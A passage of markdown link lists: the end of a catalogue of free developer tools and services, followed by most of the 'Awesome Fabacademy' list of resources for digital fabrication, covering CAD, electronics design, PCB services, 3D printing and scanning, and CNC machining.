* [Microsoft 365 Developer Program](https://developer.microsoft.com/microsoft-365/dev-program) — Get a free sandbox, tools, and other resources you need to build solutions for the Microsoft 365 platform. The subscription is a 90-day [Microsoft 365 E5 Subscription](https://www.microsoft.com/microsoft-365/enterprise/e5) (Windows excluded) which is renewable. It is renewed if you're active in development(measured using telemetry data & algorithms).
* [RedHat for Developers](https://developers.redhat.com) — Free access to Red Hat products including RHEL,OpenShift,CodeReady etc exclusively for developers. Individual plan only. Free e-Books also offered for reference.
* [smsreceivefree.com](https://smsreceivefree.com/) — Provides free temporary and disposable phone numbers.
* [simplebackups.io](https://simplebackups.io/) — Backup automation service for servers and databases (MySQL, PostgreSQL, MongoDB) stored directly into cloud storage providers (AWS, DigitalOcean, Backblaze...). Provides free plan for 1 backup.
* [SnapShooter](https://snapshooter.com/) — Backup solution for DigitalOcean, AWS, LightSail, Hetzner and Exoscale, with support for direct database, file system and application backups to s3 based storage. Provides a free plan with daily backups for one resource.
* [Themeselection](https://themeselection.com/) — Selected high quality, modern design, professional and easy-to-use Free Admin Dashboard Template,
HTML Themes and UI Kits to create your applications faster!
* [Web.Dev](https://web.dev/measure/) — This is a free tool that allows you to see the performance of your website and improve the SEO to get higher rank list in search engines.
* [SmallDev.tools](https://smalldev.tools/) — A free tool for developers that allows you to Encode/Decode various formats, Minify HTML/CSS/Javascript, Beautify, Generate Fake/Testing real like dataset in JSON/CSV & multiple other formats and many more features. With a delightful interface.
* [UseCSV by Layercode](https://layercode.com/usecsv) — Add CSV and Excel import to your web app in minutes. Give your users an enjoyable and robust data import experience. Get Started for Free without any credit card details, and start integrating UseCSV today. You can create unlimited Importers and upload files up to 100Mb.
* [Buttons Generator](https://markodenic.com/tools/buttons-generator/) — 100+ buttons you can use in your project.
* [WrapPixel](https://www.wrappixel.com/) — Download High Quality Free and Premium Admin dashboard template created with Angular, React, VueJs, NextJs and NuxtJs!
* [Utils.fun](https://utils.fun/en) — All offline daily and development tools based on the browser's computing power, including watermark generation, screen recording, encoding and decoding, encryption and decryption and code formatting, are completely free and do not upload any data to the cloud for processing.
* [Free Code Tools](https://freecodetools.org/) — Effective code tools which are 100% free. Markdown editor, Code minifier/beautifier, QR code generator, Open Graph Generator, Twitter card Generator and more.
* [regex101](https://regex101.com/) — Free this website allows you to test and debug regular expressions (regex). It provides a regex editor and tester, as well as helpful documentation and resources for learning regex.
* [Kody Tools](https://www.kodytools.com/dev-tools) — 100+ dev tools including formatter, minifier, and converter.
* [AdminMart](https://adminmart.com/) — High Quality Free and Premium Admin Dashboard and Website Templates created with Angular, Bootstrap, React, VueJs, NextJs and NuxtJs!
* [Glob tester](https://globster.xyz/) — A website that allows you to design and test glob patterns. It also provides resources to learn glob patterns.
* [OpenUtils](https://openutils.org/) - There are various free tools available for developers, such as HTML/CSS/JavaScript formatters, minifiers, converter, encoder/decoder and many others.
**[⬆️ Back to Top](#table-of-contents)**
|
# Awesome Fabacademy
A curated list of [](https://awesome.re) Fab Academy Resources.
[](https://travis-ci.org/Academany/awesome-fabacademy)
Emoji Symbols used in this list
- :moneybag: `:moneybag:` = commercial
- :school: `:school:` = free for education
- :white_check_mark: `:white_check_mark:` = recommended
- :free: `:free:` = commercial but with free license (possibly limited)
**Table of Contents**
- [Awesome Fabacademy](#awesome-fabacademy)
- [Fab Academy](#fab-academy)
- [Websites](#websites)
- [Documents](#documents)
- [Projects](#projects)
- [Project Management](#project-management)
- [Project management tools](#project-management-tools)
- [Project management techniques](#project-management-techniques)
- [Version Control](#version-control)
- [Git](#git)
- [Subversion](#subversion)
- [Mercurial](#mercurial)
- [Hosting platforms](#hosting-platforms)
- [CAD](#cad)
- [2D](#2d)
- [Drafting](#drafting)
- [Raster](#raster)
- [Vector](#vector)
- [Wireframes & UX Design](#wireframes--ux-design)
- [3D](#3d)
- [Mesh modeling](#mesh-modeling)
- [Sculpting](#sculpting)
- [Parametric modeling](#parametric-modeling)
- [Simulation](#simulation)
- [Computer controlled cutting](#computer-controlled-cutting)
- [Electronics design](#electronics-design)
- [EDA Packages](#eda-packages)
- [KiCAD resources](#kicad-resources)
- [EAGLE Resources](#eagle-resources)
- [Simulators](#simulators)
- [Part Search](#part-search)
- [Development Board Retailers](#development-board-retailers)
- [Books](#books)
- [Blogs](#blogs)
- [Electronics production](#electronics-production)
- [Soldering](#soldering)
- [Inventory Management and Purchasing](#inventory-management-and-purchasing)
- [PCB Batching Services](#pcb-batching-services)
- [3D Printing](#3d-printing)
- [Slicers](#slicers)
- [Control Software](#control-software)
- [Online 3D Model Repositories](#online-3d-model-repositories)
- [On Demand 3D Printing Services](#on-demand-3d-printing-services)
- [3D Scanning](#3d-scanning)
- [Open-source Software](#open-source-software)
- [Open-source hardware](#open-source-hardware)
- [Commercial Software](#commercial-software)
- [Desktop](#desktop)
- [Mobile](#mobile)
- [Commercial Hardware](#commercial-hardware)
- [Low cost Hardware](#low-cost-hardware)
- [Computer Controlled Machining](#computer-controlled-machining)
- [Software](#software)
- [Projects](#projects-1)
- [Commercial Machines](#commercial-machines)
- [DIY Machines](#diy-machines)
- [Accessories](#accessories)
- [Parts](#parts)
- [Suppliers](#suppliers)
- [Theory](#theory)
- [Books](#books-1)
- [Wildcard week](#wildcard-week)
- [Digital Embroidery](#digital-embroidery)
- [Related Awesome Lists](#related-awesome-lists)
- [Other link collections](#other-link-collections)
- [Contribute](#contribute)
- [License](#license)
## Fab Academy
### Websites
- [fabacademy.org](https://fabacademy.org) Main website.
- Archive:
- [2019](https://fabacademy.org/2019) Current cycle archive.
- [2018](https://fabacademy.org/2018), [2017](http://archive.fabacademy.org/2017), [2016](http://archive.fabacademy.org/2016), [2015](http://fabacademy.org/archives/2015), [2014](http://fabacademy.org/archives/2014), [2013](http://fabacademy.org/archives/2013), [2012](http://fabacademy.org/archives/2012),
[2011](http://fabacademy.org/archives/2011/)
- [Previous years](http://archive.fabacademy.org): complete index of the archive.
- [Fab Cloud](https://gitlab.fabcloud.org/academany/): Gitlab installation hosting and serving all content since 2017.
### Documents
- [Student's Handbook](http://fabacademy.org/2019/docs/FabAcademy-Handbook/01_introduction.html): general information useful for students, nodes and instructors
- [Assessment Guide](http://fabacademy.org/2019/docs/FabAcademy-Assessment/): assignments and evaluation for Fab Academy students
- [Tutorials](http://fabacademy.org/2019/docs/FabAcademy-Tutorials/): assorted list of tutorials by students and instructors.
- Annual Report [2018](https://fabacademy.org/resources/report2018.html), [2017](https://fabacademy.org/resources/report2017.html).
### Projects
- [Projects on Fab Cloud](https://gitlab.fabcloud.org/pub/projects/tree/master): Curated list of Fablab-ready projects.
- Student final projects:
- [2018](http://archive.fabacademy.org/2018/finalprojects/index.html#/)
- [2017](http://archive.fabacademy.org/archives/2017/master/final_projects.html)
- [2016](http://archive.fabacademy.org/archives/2016/master/slider.html)
## Project Management
### Project management tools
- :white_check_mark: [GitLab](https://www.gitlab.com/): Clone of GitHub, with issue trackers, kanban boards and milestones.
- [Redmine](http://www.redmine.org/): Popular choice for software projects, Ruby on Rails.
- [Trac](http://trac.edgewall.org/): Similar to Redmine but written in Python, has Gantt charts.
- [OpenProject](https://www.openproject.org): Project collaboration software, has Gantt charts.
- [Gantt Project](https://www.ganttproject.biz/): Linux project management app.
- :moneybag: [Microsoft Project](https://products.office.com/en/project/project-and-portfolio-management-software): mostly used by professionals.
- :moneybag: :white_check_mark: [Trello](https://trello.com): Kan Ban boards and team collaboration.
- :moneybag: [Basecamp 3](https://basecamp.com): good for small teams.
- :moneybag: [Asana](https://asana.com/): popular in business.
### Project management techniques
- [Agile](https://en.wikipedia.org/wiki/Agile_software_development): iterative approach to planning and guiding project processes.
- [SCRUM](https://en.wikipedia.org/wiki/Scrum): based on the Agile methodology.
- [Waterfall](https://en.wikipedia.org/wiki/Waterfall_model): traditional phase by phase project management.
## Version Control
### Git
Docs
- [Git magic book](http://www-cs-students.stanford.edu/~blynn/gitmagic/): by Ben Lynn.
- [Pro Git book](https://git-scm.com/book): by Scott Chacon and Ben Straub.
- [Git How to](https://githowto.com/): a guided tour that walks through the fundamentals of Git.
- [Git Immersion](http://gitimmersion.com/): is a guided tour that walks through the fundamentals of Git.
- [Git commit message](https://datree.io/blog/git-commit-message-conventions-for-readable-git-log/): best practices guide for writing a commit message.
Cheatsheets
- [Git Cheatsheet](http://ndpsoftware.com/git-cheatsheet.html): Git Cheatsheet from NDP software.
- [Git Cheatsheet](https://github.com/arslanbilal/git-cheat-sheet): Git Cheatsheet in many languages.
- [Useful Git commands](https://dev.to/datreeio/10-insanely-useful-git-commands-you-wish-existed-and-their-alternatives-8e6): Wishlist of Git commands – and their alternatives.
Clients
- [GitHub Desktop](https://desktop.github.com/): official GitHub client.
- [SmartGit](http://www.syntevo.com/smartgit/): stand-alone or portable Git client.
- [TortoiseGit](https://tortoisegit.org/): Windows Explorer shell extension.
- [GitKraken](https://www.gitkraken.com)
- [Git Extensions](http://gitextensions.github.io/)LWindows Explorer extension.
- [Tower](https://www.git-tower.com/mac): powerful client for Mac and Windows
### Subversion
- [SVN](http://subversion.apache.org/): popular centralized version control system.
- [SVN Red book](http://svnbook.red-bean.com/): you should to start here.
Clients
- [TortoiseSVN](https://tortoisesvn.net/): Windows Explorer shell extension.
- [Version Control for engineers](http://soft.postpdm.com/)
### Mercurial
- [Mercurial SCM](https://www.mercurial-scm.org/): Older protocol also used in Fab Academy up to 2015.
- [TortoiseHg](http://tortoisehg.bitbucket.org/): Windows Explorer shell extension.
### Hosting platforms
Mostly :free: with :moneybag: options
- [Fab Cloud](https://gitlab.fabcloud.org): Free hosting for Fab labs - Sponsored by Fab Foundation.
- [Github.com](https://github.com): The most used for Open source projects.
- [Gitlab.com](https://gitlab.com): Open source hosting similar to Github, based on Gitlab.
- [BitBucket](https://bitbucket.org/): Commercial GIT provider by Atalassian.
- [Sourceforge](https://sourceforge.net/): Top host for opensource projects before Github came out.
## CAD
### 2D
#### Drafting
- [AutoCAD](https://www.autodesk.com/products/autocad/overview): :moneybag: :school:
- [Draftsight](https://www.3ds.com/products-services/draftsight-cad-software/free-download/): Free software from Dassault, similar to Autocad features.
#### Raster
- [Gimp](https://www.gimp.org/): popular and one of the best options for Linux users.
- [Krita](https://krita.org/en/): open source painting program for artists.
Commercial :moneybag:
- :free: [MS Paint](https://en.wikipedia.org/wiki/Microsoft_Paint): built in windows.
- [Photoshop](https://www.adobe.com/products/photoshop.html): de facto standard for image editing on Mac and Windows.
- [LightRoom](https://www.adobe.com/it/products/photoshop-lightroom.html): photo editing and organization.
- [Pixelmator](https://www.pixelmator.com/pro/): cost effective image editing for Mac.
#### Vector
- [Inkscape](https://inkscape.org/): best option for open-source lovers, many extensions, programming in python.
:moneybag: Commercial
- [Illustrator](https://www.adobe.com/products/illustrator.html): standard software for professional graphic designers.
- [Corel Draw](https://www.coreldraw.com/it/): one of the oldest, still used often in the print & advertising industry.
#### Wireframes & UX Design
- :free: [Adobe XD](https://www.adobe.com/it/products/xd.html): good free alternative to Sketch from Adobe.
:moneybag: Commercial
- [Wireframe.cc](https://wireframe.cc): web based tool.
- [Balsamiq Mockups](https://balsamiq.com/): one of the best for low-fi mockups.
- [OmniGraffle](https://www.omnigroup.com/omnigraffle): popular diagramming app for mac.
- [Sketch](https://www.sketchapp.com/): trendy app for modern UI designers, MAC only.
### 3D
#### Mesh modeling
- [Blender](https://blender.org): indiscussed leader for open source 3D modeling and animation.
- [TinkerCAD](https://www.tinkercad.com/): easy 3d modeling package with STL export, perfect for kids.
- [MeshMixer](http://www.meshmixer.com/): free package to edit and mix 3d models
:moneybag: Commercial
- [3DS Max](https://www.autodesk.eu/products/3ds-max/overview)
- [Maya](https://www.autodesk.eu/products/maya/overview)
- [Lightwave](https://www.lightwave3d.com/)
- [Cinema 4D](https://www.maxon.net/it/)
- [Modo](https://www.foundry.com/products/modo) popular for industrial designers, advanced topology.
- [Sketchup](https://www.sketchup.com/): easy free-form modeling with sketch based approach, online and native, free and paid.
#### Sculpting
- [Z-Brush](http://pixologic.com/): most used tool for digital artists.
- [Mudbox](https://www.autodesk.com/products/mudbox/overview): sculpting high res meshes.
- [Sculptris](http://pixologic.com/sculptris/): simpler sculpting program, good for beginners.
#### Parametric modeling
- [FreeCAD](https://www.freecadweb.org/) :white_check_mark: similar to Solidworks, growing community
- [OpenSCAD](http://www.openscad.org/) text-based CSG modeling, used by many open source projects
- :moneybag: [Rhinoceros](https://www.rhino3d.com/) used by architects and designers, along with the [Grasshopper](https://www.grasshopper3d.com/) free plugin
- :moneybag: [Fusion 360](https://www.autodesk.com/products/fusion-360/overview) :school: very powerful, cloud integration, integrated mesh, nurbs, surfaces, parametric, CAM tools
- :moneybag: [Solidworks](https://www.solidworks.com/) :school: Very advanced and complex, used for industrial applications
#### Simulation
- [Calculix](http://www.calculix.de/). Open Source alternative to Abaqus. Very similar input file.
- [Paraview](https://www.paraview.org/) great post processor (Open Source)
## Computer controlled cutting
- [Deepnest](https://deepnest.io/) Open source nesting software
- [Inkcut](https://www.codelv.com/projects/inkcut/) Open source software or controlling 2D plotters, cutters, engravers, and CNC machines
## Electronics design
### EDA Packages
- [KiCAD](http://kicad-pcb.org/) - Open source EDA package with push and shove router, differential pairs and much more.
- [Eagle](https://www.autodesk.com/products/eagle/overview) - One of the most popular EDA packages due to it's (board size restricted) free version.
- [Design Spark PCB](https://www.rs-online.com/designspark/pcb-software) - Gratis EDA package without restrictions, sponserd by RS Components.
- [Altium Circuit Maker](https://circuitmaker.com/) - Free package from the maker of the go to pro software.
- [gEDA](http://geda-project.org) - Another open source package, good for people that like scripting and makefiles, Linux and BSD only.
- [DipTrace](https://diptrace.com) - Quality Schematic Capture and PCB Design software with (pin and signal layer restricted) free version.
- [LibrePCB](https://librepcb.org/) - A new, powerful and intuitive EDA tool for everyone, cross-platform and GNU GPLv3.
:moneybag: Commercial
- [Altium Designer](https://en.wikipedia.org/wiki/Altium_Designer)
- [National Instruments Ultiboard](https://en.wikipedia.org/wiki/NI_Ultiboard)
### KiCAD resources
- [Xesscorp's list of KiCAD 3rd party tools](https://github.com/xesscorp/kicad-3rd-party-tools)
- [Contextual Electronics' Shine on You Crazy KiCad](https://contextualelectronics.com/courses/shine-on-you-crazy-kicad/) - Beginner video tutorial that gets you to a manufactured board as quickly as possible.
- [Contextual Electronics' Getting to Blinky Tutorial](https://www.youtube.com/playlist?list=PLy2022BX6Eso532xqrUxDT1u2p4VVsg-q) - A more comprehensive beginner to intermediate video tutorial.
- [KiCAD.info Forums](https://forum.kicad.info) - User discussion and help forum.
- [Keyboard PCB Guide](https://github.com/ruiqimao/keyboard-pcb-guide) - Comprehensive written tutorial that takes you through creating a keyboard PCB.
- [Cheatsheet](https://silica.io/static/downloads/kicad-cheatsheet.pdf) (also [in landscape](https://silica.io/static/downloads/kicad-cheatsheet-landscape.pdf)) - Short PDF that goes over the menus and keyboard shortcuts for the most common operations.
- [Footprint Collection](https://github.com/monostable/kicad_footprints) - Collection of all the KiCAD footprints available online and some scripts to manage them.
### EAGLE Resources
- [List of ULPs everyone should know](https://www.element14.com/community/community/cadsoft_eagle/blog/2015/01/19/eagle-ulps-every-user-should-know)
- [Adafruit Eagle Library](https://github.com/adafruit/Adafruit-Eagle-Library)
- [SparkFun Electronics Eagle Libraries](https://github.com/sparkfun/SparkFun-Eagle-Libraries)
### Simulators
- [LTSpice](http://www.analog.com/en/design-center/design-tools-and-calculators/ltspice-simulator.html) - The industry standard free SPICE circuit simulator from Linear Technologies.
- [Ngspice](http://ngspice.sourceforge.net/) - Open source SPICE circuit simulator.
- [Circuit JS](http://www.falstad.com/circuit/circuitjs.html) - Open source online simulator for simpler circuits with live interactivity and visualization.
- [Every Circuit](http://everycircuit.com) - Free to try online, visual, interactive circuit simulator for simpler circuits.
- [Qucs](http://qucs.sourceforge.net/) - Open source integrated circuit simulator for DC, AC, S-parameter, noise analysis, etc.
- [iCircuit](http://icircuitapp.com/) - Easy to use electronic circuit simulator, its advanced simulation engine can handle both analog and digital circuits and features realtime always-on analysis.
### Part Search
- [Octopart](http://octopart.com) - Probably the most well known part search engine.
- [Findchips](https://www.findchips.com/) - Part search from Supply Frame.
- [Parts.io](https://parts.io/) - Another search engine from Supply Frame geared towards discovering new parts.
### Development Board Retailers
- [Sparkfun](https://www.sparkfun.com/) - Retailer and designer of open source electronics development boards and other equipment and materials with excellent accompanying tutorials.
- [Adafruit](https://www.adafruit.com/) - Another retailer and designer with excellent selection and tutorials.
- [Tindie](https://www.tindie.com) - Marketplace for electronics makers to sell low volume batches of their own designs.
### Books
- [Getting Started in Electronics](https://www.amazon.com/Getting-Started-Electronics-Forrest-Mims/dp/B001QTFKK4) by Forrest Mims
- [The Art of Electronics](https://www.amazon.com/Art-Electronics-Paul-Horowitz/dp/0521809266) by Paul Horowitz and Winfield Hill
- [Make: Electronics](https://www.amazon.com/Make-Electronics-Discovery-Charles-Platt/dp/0596153740) by Charles Platt
- [Make: More Electronics](https://www.amazon.com/Make-Electronics-Journey-Amplifiers-Randomicity/dp/1449344046) by Charles Platt
- [Practical Electronics for Inventors](https://www.amazon.com/Practical-Electronics-Inventors-Fourth-Scherz/dp/1259587541) by Paul Scherz and Simon Monk
- [The AVR Microcontroller and Embedded Systems: Using Assembly and C](https://www.amazon.com/AVR-Microcontroller-Embedded-Systems-Electronics/dp/0138003319) by Muhammad Ali Mazidi, Sarmad Naimi and Sepehr Naimi
- Encyclopedia of Electronic Components Series by Charles Platt
- [Volume 1 - Resistors, Capacitors, Inductors, Switches, Encoders, Relays, Transistors](https://www.amazon.com/Encyclopedia-Electronic-Components-Capacitors-Transistors/dp/1449333893)
- [Volume 2 - LEDs, LCDs, Audio, Thyristors, Digital Logic, and Amplification](https://www.amazon.com/Encyclopedia-Electronic-Components-Thyristors-Amplification/dp/1449334180)
- [Volume 3 - Sensors for Location, Presence, Proximity, Orientation, Oscillation, Force, Load, Human Input, Liquid ... Light, Heat, Sound, and Electricity](https://www.amazon.com/Encyclopedia-Electronic-Components-Orientation-Oscillation/dp/1449334318)
- Forrest Mims Engineer's Mini Notebook Series
- [Volume 1 - Timer, Op Amp, and Optoelectronic Circuits & Projects](https://www.amazon.com/Timer-Amp-Optoelectronic-Circuits-Projects/dp/0945053290)
- [Volume 2 - Science and Communication Circuits & Projects](https://www.amazon.com/Science-Communication-Circuits-Projects-Forrest/dp/0945053320)
- [Volume 3 - Electronic Sensor Circuits & Projects](https://www.amazon.com/Electronic-Circuits-Projects-Engineers-Notebook/dp/0945053312)
- [Volume 4 - Electronic Formulas, Symbols & Circuits](https://www.amazon.com/Electronic-Formulas-Symbols-Circuits-Forrest/dp/0945053304)
- [Zero to Maker: Learn (Just Enough) to Make (Just About) Anything](https://www.amazon.com/Zero-Maker-Learn-Enough-Anything/dp/1449356435) by David Lang
### Blogs
- [Hackaday](https://hackaday.com) - Probably the most popular blog covering electronics and hardware hacking with a whole staff of writers.
- [bunniestudios.com](https://www.bunniestudios.com) - Andrew 'Bunnie' Huang covers hardware hacking, open hardware, manufacturing and more.
- [Bald Engineer](https://www.baldengineer.com) - Project logs, tutorials and articles about electronics and embedded software by James Lewis.
- [Rheingold Heavy](https://rheingoldheavy.com) - More project logs, tutorials and articles about electronics and embedded software, these ones by Dan Hienzsch.
## Electronics production
### Soldering
- ["skill" tag on learn.sparkfun.com](https://learn.sparkfun.com/tutorials/tags/skill) - A wide variety of technical tutorials on various EE related skills.
- [Soldering is Easy](https://mightyohm.com/blog/2011/04/soldering-is-easy-comic-book/) - Comic book that goes over the basics of soldering that has been translated into quite a few languages.
### Inventory Management and Purchasing
- [1-click BOM](https://1clickbom.com) - Browser extensions that automates purchasing and part searching.
- [Partsbox.io](https://partsbox.io) - Web service to manage your part inventory with a nice user interface and Octopart integration.
- [Partkeepr](https://partkeepr.org) - Open source web service for managing your part inventory with parametric search and automatic datasheet import.
- [Part-DB](https://github.com/Part-DB/Part-DB) - Another open source web service for managing part inventory with a permission system and a good barcode generator.
### PCB Batching Services
- [PCB Shopper](https://pcbshopper.com/) - Comparison service for quite a lot of different PCB batching and assembly services.
- [OSH Park](https://oshpark.com) - Low cost PCB batching service with high quality boards with a signature purple silkscreen.
- [Aisler](https://aisler.net) - Affordable quality circuit boards made in and shipped from Europe (Germany).
- [Dirty PCBs](http://dirtypcbs.com/store/pcbs) - Low cost PCB batching service that prides itself on its "dirty" quality.
- [Seeed Studio Fusion](https://www.seeedstudio.com/fusion.html) - Cheap PCB manufacturing also in large quantities, consulting services
## 3D Printing
### Slicers
- [Cura](https://ultimaker.com/en/products/ultimaker-cura-software) - For Ultimakers and Repraps
- [Simplify 3D](https://www.simplify3d.com/)
- [Slic3r](https://slic3r.org/)
### Control Software
- [OctoPrint](http://octoprint.org) - Web interface for 3D printer.
- [PrintRun](https://github.com/kliment/Printrun) - Pure Python 3d printing host software.
- [Repetier](http://repetier.com) - Place, slice, preview and print.
- [ReplicatorG](http://replicat.org) - Open source 3D printing program.
- [Makerbot Desktop](http://www.makerbot.com/desktop) - Discover, manage and share your 3D prints.
### Online 3D Model Repositories
From 3D printer manufacturer:
- [123D Gallery](http://123dapp.com/Gallery) (from Autodesk)
- [Thingiverse](https://thingiverse.com) (from Makerbot)
- [Treasure Island](http://treasure.is) (from Pirate3D)
Independent:
- [3D Model Free](http://3dmodelfree.com)
- [3D Via](http://3dvia.com)
- [3DAGOGO](https://3dagogo.com)
- [Bld3r](http://bld3r.com)
- [CGtrader](http://cgtrader.com)
- [Hum3D](https://hum3d.com/) - the largest source for vehicle 3D models
- [Cuboyo](http://cuboyo.com)
- [Cults](http://en.cults3d.com)
- [GrabCAD](http://grabcad.com)
- [MakerBot Digital Store](http://makerbot.com/digital-store)
- [MyMiniFactory](http://myminifactory.com)
- [Pinshape](https://pinshape.com) - Find, share and sell 3D print files.
- [Redpah](https://redpah.com)
- [Repables](http://repables.com)
- [Sculpteo](http://sculpteo.com)
- [SketchFab](https://sketchfab.com)
- [SproutForm](http://sproutform.com)
- [TF3DM](http://tf3dm.com)
- [Turbosquid](http://turbosquid.com)
### On Demand 3D Printing Services
- [3D Hubs](https://3dhubs.com)
- [Shapeways](https://shapeways.com)
- [Toybuilderlabs](http://toybuilderlabs.com)
## 3D Scanning
### Open-source Software
- [Open source Photogrammetry](http://opensourcephotogrammetry.blogspot.com/): collection of photogrammetry tools
- [OpenKinect](https://openkinect.org/wiki/Main_Page): open-source software for Kinect sensors
- [VSFM](http://ccwu.me/vsfm/): image reconstruction
- [AliceVison](https://alicevision.github.io/): photogrammetry software
- [ReconstructMe](http://reconstructme.net/): real-time 3D reconstruction
### Open-source hardware
- [Cyclop](https://reprap.org/wiki/Ciclop): open source laser scanner with 3D printed parts
- [FabScanPi](http://mariolukas.github.io/FabScanPi-Server)
### Commercial Software
#### Desktop
- [Skanect](https://skanect.occipital.com/): easy to use and compatible with different Primesense-based scanners
- [Recap](https://www.autodesk.com/products/recap/overview): Autodesk software for 3D reconstruction, includes
features from the old 123-Scan
- [Photoscan](https://www.agisoft.com/): high end software for photogrammetry
- [3DSOM](http://www.3dsom.com/): photogrammetry for products
#### Mobile
- [TRNIO](http://www.trnio.com/): cheap photogrammetry software for iOS
- [SCANN3D](https://play.google.com/store/apps/details?id=com.smartmobilevision.scann3d&hl=en_US): Android-based photogrammetry,
:free: but subscription needed to export files
- [QLone](https://www.qlone.pro/): easy to use app for Android and iOS, poor quality, expensive export options,
:free: export to sketchfab
### Commercial Hardware
- [Scan-in-a-box](https://www.scaninabox.com/): projector-based structured light scanner and software :moneybag:
- [Artec Scanners](https://www.artec3d.com/): high-end handeld scanners :moneybag::moneybag:
- [ZEISS T-Scan](https://www.zeiss.com/metrology/products/systems/optical-systems/3d-scanning/zeiss-t-scan.html) professional
handeld scanner :moneybag: :moneybag: :moneybag:
### Low cost Hardware
- [Kinect](https://en.wikipedia.org/wiki/Kinect): historical low cost solution, older version from XBOX works with open-source sdk
- [Structure Sensor](https://structure.io/): compact low cost scanner for Apple tablets
- [Sense](https://www.3dsystems.com/shop/sense): low-cost low resolution scanner
- [Primesense Carmine](http://xtionprolive.com/primesense-carmine-1.09-3d-sensor-motion-camera)
## Computer Controlled Machining
### Software
2.5D
- [Carbide Create](https://wiki.shapeoko.com/index.php/Carbide_Create): freely distributed after newsletter registration.
- [MakerCAM](https://wiki.shapeoko.com/index.php/MakerCAM): web based (flash).
- [PathCAM](https://github.com/xenovacivus/PathCAM): python CAM targeting GRBL 0.8.
- [JSCut](http://jscut.org/): browser based CAM with 3D G-code simulation, SVG import.
- [EASEL](http://app.easel.com/): Browser-based CAD + CAM + Machine Control by Inventables.
- [GCode tools](https://wiki.shapeoko.com/index.php/Inkscape#Gcodetools): inkscape plugin for generating g-code.
- [F-Engrave](https://wiki.shapeoko.com/index.php/F-Engrave): generate g-code from a font and a line of text.
- [Lithophane generator](http://www.chestnutpens.co.uk/misc/lithophane.html): generate g-code from a picture.
- [Text2GCode](https://github.com/tmpvar/text2gcode): script to generate g-code from a text string.
- [FlatFab](http://www.flatfab.com/): design in 2D and build 3D objects.
Convert between languages
Simulation
- [gcode.ws](http://gcode.ws/): browser-based g-code analyzer and visualizer
- [CAMotics](https://wiki.shapeoko.com/index.php/CAMotics): G-Code simulation/previewing program.
- [Pleasant 3D](http://www.pleasantsoftware.com/developer/pleasant3d/index.shtml): G-code 3D Previewer.
- [NCViewer](https://ncviewer.com/): browser-based G-code previewer.
Optimization
- [GCode optimizer](https://github.com/alsliahona/gcode-optimizer): Command-line tool that optimizes gcode.
PCB CAM
- [FlatCAM](http://flatcam.org/): open source pcb-specific cam written in python.
- [Carbide Rapid PCB](https://carbide3d.com/apps/pcb/): web based tool for pcb milling by Carbide 3D.
- [PCB to GCode](http://eagle.autodesk.com/eagle/ulp?utf8=%E2%9C%93&q%5Btitle_or_author_or_description_cont%5D=pcb-gcode&button=): Eagle ULP to generate PCBs (now built-in functionality)
- [CopperCAM](http://www.galaad.net/coppercam-eng.html): Windows-based PCB CAM software.
Commercial CAM
- [MasterCAM](https://www.mastercam.com/en-us/): advanced CAM tool for professionals.
- [FeatureCAM](https://www.autodesk.com/products/featurecam/overview)
- [Fusion360 CAM](https://www.autodesk.com/products/fusion-360/blog/getting-started-introduction-to-cam-and-toolpaths/): built in CAM into Fusion 360.
- [HSMWorks](https://www.autodesk.com/products/hsm/overview): professional cam for Inventor.
- [V-Carve Pro](https://www.vectric.com/products/vcarve-pro) and [Aspire](https://www.vectric.com/products/aspire): advanced CAM from Vectric, shipped with Shopbots.
- [Cut 3D](https://www.vectric.com/products/cut3d) and [Cut 2D](https://www.vectric.com/products/cut2d-pro): low cost wizard-based 2D and 3D CAM from Vectric.
- [RhinoCAM](https://mecsoft.com/rhinocam-software/): integrated cam for the popular Rhinoceros3D.
- [CamBam](http://www.cambam.info/): cheap but effective hobbist CAM softare
Control software
- [Chilipeppr](http://chilipeppr.com/tinyg): web-based 3D Viewer. Gcode Sender. Jog controls.
- [Carbide control software](https://wiki.shapeoko.com/index.php/Carbide_Motion_Machine_Control_Software):default control program for the Shapeoko.
- [BCNC](https://wiki.shapeoko.com/index.php/BCNC): Python GRBL CNC command sender.
- [Universal GCode Sender](https://wiki.shapeoko.com/index.php/Universal-G-Code-Sender): popular option with GRBL written in Java.
- [grblControl](https://github.com/Denvi/grblControl): GRBL controller application with G-Code visualizer written in Qt.
- [CNCJS](https://cnc.js.org/): web-based g-code sender. Also run on RaspberryPI.
- [GRBL Web](https://xyzbots.com:4000/grblweb.html): web-based g-code sender. Runs on RaspberryPI.
- [jCNC](http://www.jtronics.de/software/jcnc-cnc-steuerung/): sender and viewer for GRBL and Tinyg.
- [goko.fr](http://goko.fr/): Fully featured cross platform GCode sender for Grbl, TinyG and G2.
Interpreters
- [LinuxCNC](http://www.linuxcnc.org/): free Linux based application for controlling and monitoring CNC machines, without the need of a controller.
- [GRBL](https://github.com/grbl/grbl): open-source g-code interpreter for AVR-based micro-controllers.
Tools
- [Step and alignment tool](https://github.com/duembeg/gsat): cross-platform GCODE debug/step and alignment tool for TinyG and Grbl.
- [Half blind dovetails generator](https://github.com/razeh/gcode-boxes): a python script to generate half blind dovetails.
Post-processors
- [Post Library for Fusion 360 and Autodesk HSM](https://cam.autodesk.com/hsmposts)
- [LinuxCNC Cam posts](http://wiki.linuxcnc.org/cgi-bin/wiki.pl?Cam_Post)
### Projects
- [opendesk](https://www.opendesk.cc/)
-
### Commercial Machines
Large format
- [Crawlbot](https://makezine.com/2015/09/24/printrbot-crawlbot-review/)
- Blue elephant, from China [1212](https://www.aliexpress.com/wholesale?catId=0&initiative_id=SB_20190301103850&SearchText=blue+elephant+cnc+1212), [1510](https://www.aliexpress.com/wholesale?catId=0&initiative_id=SB_20190301103850&SearchText=blue+elephant+cnc+1510)
- [Shopbot Alpha](https://shopbottools.com)
Desktop machines
- [Nomad by Carbide3D](https://carbide3d.com/nomad/): sturdy desktop machine
- [Shapeoko by Carbide3D](https://carbide3d.com/shapeoko/): lightweight entry level machine
- Chinese [6040](http://www.aliexpress.com/w/wholesale-cnc-6040.html) and [3040](https://www.aliexpress.com/w/wholesale-cnc-3040.html): low cost duty-heavy machines for engraving metal
- [Roland SRM-20](https://www.rolanddga.com/products/3d/srm-20-small-milling-machine)
- [X-Carve](https://www.inventables.com/technologies/x-carve)
- [Carvey](https://www.inventables.com/technologies/carvey)
- [StepCraft](https://www.stepcraft-systems.com/en/): desktop machines of different sizes with CE certification.
- [PocketNC](https://www.pocketnc.com/): desktop 5-axis machine, currently on preorder.
- [Bantam Tools CNS formerly Othermill](https://www.bantamtools.com/collections/machines/products/international-bantam-tools-desktop-pcb-milling-machine): small desktop machine spin-off the MTM class at MIT
